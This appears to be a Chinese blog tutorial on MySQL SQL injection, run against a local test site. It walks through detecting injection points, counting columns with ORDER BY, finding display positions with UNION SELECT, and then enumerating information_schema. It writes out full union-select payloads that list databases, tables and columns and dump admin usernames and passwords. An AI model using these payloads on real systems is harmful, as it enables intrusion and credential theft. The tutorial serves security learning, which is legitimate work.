SQL注入(MySQL)总结1

如何判断SQL注入

1、判断注入点

注意查询字符的闭合,在?id=1513的地方可能会存在引号 括号等一系列符号的闭合

127.0.0.1/asp/index.asp?id=1513 and 1=1 正常
127.0.0.1/asp/index.asp?id=1513 and 1=2 错误

2、查询字段个数

127.0.0.1/asp/index.asp?id=1513 order by 22 正常
127.0.0.1/asp/index.asp?id=1513 order by 23 错误

3、爆出显位

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
案例分析

一个搜索框可以进行内容的搜索,内容的查询

SQL注入(MySQL)总结1_第1张图片

我们先输入一个1' and 1=1#(1后面的单引号是为了闭合数据库中的单引号)

结果正常显示

SQL注入(MySQL)总结1_第2张图片

我们输入一个1' and 1=2 #

SQL注入(MySQL)总结1_第3张图片

结果没有正常回显我们可以判断此处可能存在SQL注入

案例分析






    

    SQL注入原理测试

    








'; echo $row['id'].'
'; echo $row['gName'].'
'; echo $row['gLogo'].'
'; } ?>

数据库配置文件

页面具有数据查询功能

当我们输入正确的值的时候,就会进行数据的查询

当我们进行SQL注入判断确定有SQL注入的注入点的时候,我们可以进行如下操作

我们根据order by可以判断数据库中的字段数

当我们order by 17的时候

SQL注入(MySQL)总结1_第4张图片

页面回显正常

当我们order by 18的时候,页面回显出错

SQL注入(MySQL)总结1_第5张图片

我们可以判断数据库中表有17列

为此我们可以使用union select 1,2,....,17来查看数据的回显位

union select 后面的数字必须和原表的表项相同

SQL注入(MySQL)总结1_第6张图片

我们可以看到在1,2,3的位置进行了数据的回显,为此我们在1,2,3进行注入数据的回显

SQL注入(MySQL)总结1_第7张图片

我门可以用这个来查询数据库中的一些信息如数据库名称,操作系统版本,数据库用户等

SQL注入(MySQL)总结1_第8张图片

数据库的高权限注入

MySQL数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作

为此当我们利用前面判断数据库的权限为root时,我们就可以尝试进行高权限注入

数据库中有一个自带的数据库叫做information_schema,information_schema是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取,不支持修改(增,删,更新),root用户有这个数据库的所有操作权限,为此我们可以利用mysql的root用户进行高权限的注入

我们可以通过这个去查询同一个数据库下的其他数据库的名字

SQL注入(MySQL)总结1_第9张图片

这个数据库中还有一个表是TABLES这个表中的数据是记录了数据库中所有表单的名字

SQL注入(MySQL)总结1_第10张图片

这个数据库中还有一个表是Columns,记录了表单中的字段信息

SQL注入(MySQL)总结1_第11张图片

我们查取到字段信息后就可以直接获取其他数据库下的数据

案例分析

在我们进行判断有SQL注入之后,并且判断了对方的数据库权限是root权限过后我们可以进行root跨站注入

首先我们要查询数据中有什么数据库

-1' union select group_concat(schema_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata#

SQL注入(MySQL)总结1_第12张图片

查询到数据库名字后我们可以选择我们想要查询的数据库,去查询里面的表名信息

例如我们可以查询一下syguestbook.sql下的表名信息

-1' union select group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook.sql'#

SQL注入(MySQL)总结1_第13张图片

我们选择一个需要查询的表,例如我们查询sy_guestbook下的列名信息

-1' union select group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_schema='syguestbook.sql' and table_name='sy_adminuser'#(where 后面的条件分别为数据库名信息和数据库下对应的表名信息)

SQL注入(MySQL)总结1_第14张图片

最后一步直接获取表中的数据信息

-1' union select id,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser#

SQL注入(MySQL)总结1_第15张图片

当然我们也可以使用group_concat()获取表中的所有信息

-1' union select group_concat(id),group_concat(username),group_concat(password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser#

SQL注入(MySQL)总结1_第16张图片

以上就是MySQL注入的简单总结

写在最后

如有错误,请及时指出,感谢

你可能感兴趣的:(Web安全漏洞,网络安全,sql)